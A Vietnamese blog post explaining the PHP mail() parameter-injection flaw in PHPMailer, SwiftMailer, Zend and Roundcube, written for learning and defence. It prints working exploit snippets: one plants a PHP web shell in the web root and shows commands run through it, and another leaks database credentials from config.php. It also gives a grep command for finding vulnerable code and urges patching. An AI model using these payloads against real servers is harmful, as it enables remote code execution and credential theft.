Khai thác lỗ hổng thực thi lệnh từ xa trong hàm mail() của PHP

By | 10:42 am | 30/12/2016

Thời gian gần đây mã khai thác lỗ hổng PHP mail() remote code execution trong Roundcube 1.2.2, đã được phát hiện và công bố bởi RIPS Technologies.Roundcube đã ra bản vá ngay sau đó trong phiên bản 1.2.3: https://roundcube.net/news/2016/11/28/updates-1.2.3-and-1.1.7-released

Gần đây nhất là phát hiện lỗ hổng này trong PHPMailer: PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033).

Lỗ hổng trong PHPMailer: PHPMailer < 5.2.20 Remote Code Execution

Lỗ hổng trong SwiftMailer: SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)

Lỗ hổng trong Zend Framework: Zend Framework < 2.4.11 Remote Code Execution (CVE-2016-10034)

Ở bài viết này, chúng ta sẽ phân tích cách mà hacker có thể khai thác lỗ hổng này trong hàm mail() php.

Khi sử dụng PHP để gửi emails, chúng ta có thể sử dụng hàm mail() có sẵn trong php. Hàm này có tổng cộng 5 tham số:

To
Subject
Message
Headers (Optional)
Parameters (Optional)

Tham số thứ 5 có thể được dùng để truyền các tham số như khi chạy dòng lệnh để chạy chương trình đã được cấu hình để gửi mail, đã được cấu hình bởi thông số sendmail_path.
Một số tham số :

-O option=value
Set một giá trị xác định cho option
-C file
chỉ định sử dụng config file
-X logfile
Log tất cả traffic in, out vào log file.
QueueDirectory=queuedir
Chọn thư mực để lưu queue messages.

Đoạn code sau được sử dụng để khai thác lỗ hổng trong hàm mail:

$to = ‘a@b.c’;
$subject = ‘<?php system($_GET[“cmd”]); ?>’;
$message = ”;
$headers = ”;
$options = ‘-OQueueDirectory=/tmp -X/var/www/html/rce.php’;
mail($to, $subject, $message, $headers, $options);

Thử xem nội dung file rce.php

> cat rce.php
11226 <<< To: a@b.c
11226 <<< Subject:
11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<

Thử thực thi một số lệnh, chúng ta vào http://localhost/rce.php?cmd=ls%20-la và được kết quả:

11226 <<< To: a@b.c
11226 <<< Subject: total 20
drwxrwxrwx 2 *** *** 4096 Sep 3 01:25 .
drwxr-xr-x 4 *** www-data 4096 Sep 2 23:53 ..
-rw-r–r– 1 *** *** 92 Sep 3 01:12 config.php
-rwxrwxrwx 1 *** *** 206 Sep 3 01:25 mailexploit.php
-rw-r–r– 1 www-data www-data 176 Sep 3 01:27 rce.php
11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<
11226 <<<
11226 <<<
11226 <<< [EOF]

Phân tích :
Đầu tiên ta đổi thư mục đợi mail thành /tmp với tham số -O và QueueDirectory , tiếp theo đổi đường dẫn và tên file log đổi thành /var/www/html/rce.php với tham số -X
Khi hàm mail() thực thi, sẽ khởi tạo file log rce.php với các nội dung như trên.

Khai thác đọc file trên server

Một cách khác để khai thác lỗi này là đọc file trực tiếp trên server bằng cách sử dụng tham số -C

$to = ‘a@b.c’;
$subject = ”;
$message = ”;
$headers = ”;
$options = ‘-C/var/www/html/config.php -OQueueDirectory=/tmp -X/var/www/html/evil.tx’;
mail($to, $subject, $message, $headers, $options);

Sau khi thực thi hàm mail, file evil.txt được tạo với nội dung như sau:

11124 >>> /var/www/html/config.php: line 1: unknown configuration line “<?php”
11124 >>> /var/www/html/config.php: line 3: unknown configuration line “dbuser = ‘someuser’;”
11124 >>> /var/www/html/config.php: line 4: unknown configuration line “dbpass = ‘somepass’;”
11124 >>> /var/www/html/config.php: line 5: unknown configuration line “dbhost = ‘localhost’;”
11124 >>> /var/www/html/config.php: line 6: unknown configuration line “dbname = ‘mydb’;”
11124 >>> No local mailer defined

Có rất nhiều thông tin nhạy cảm chúng ta có thể lấy được từ server.

Nhận diện code có thể có lỗ hổng:

Cách nhanh nhất để nhận diện code có lỗ hổng là sử dụng lệnh grep trong Linux và tìm kiếm hàm mail() với 5 tham số được sử dụng.
Câu lệnh như sau:

grep -r -n –include “*.php” “mail(.*,.*,.*,.*,.*)” *

Nếu quản trị web và các nhà phát triển sử dụng PHPMailer hay Roundcube, hãy kiểm tra lại code của mình và cập nhật code lên phiên bản mới nhất .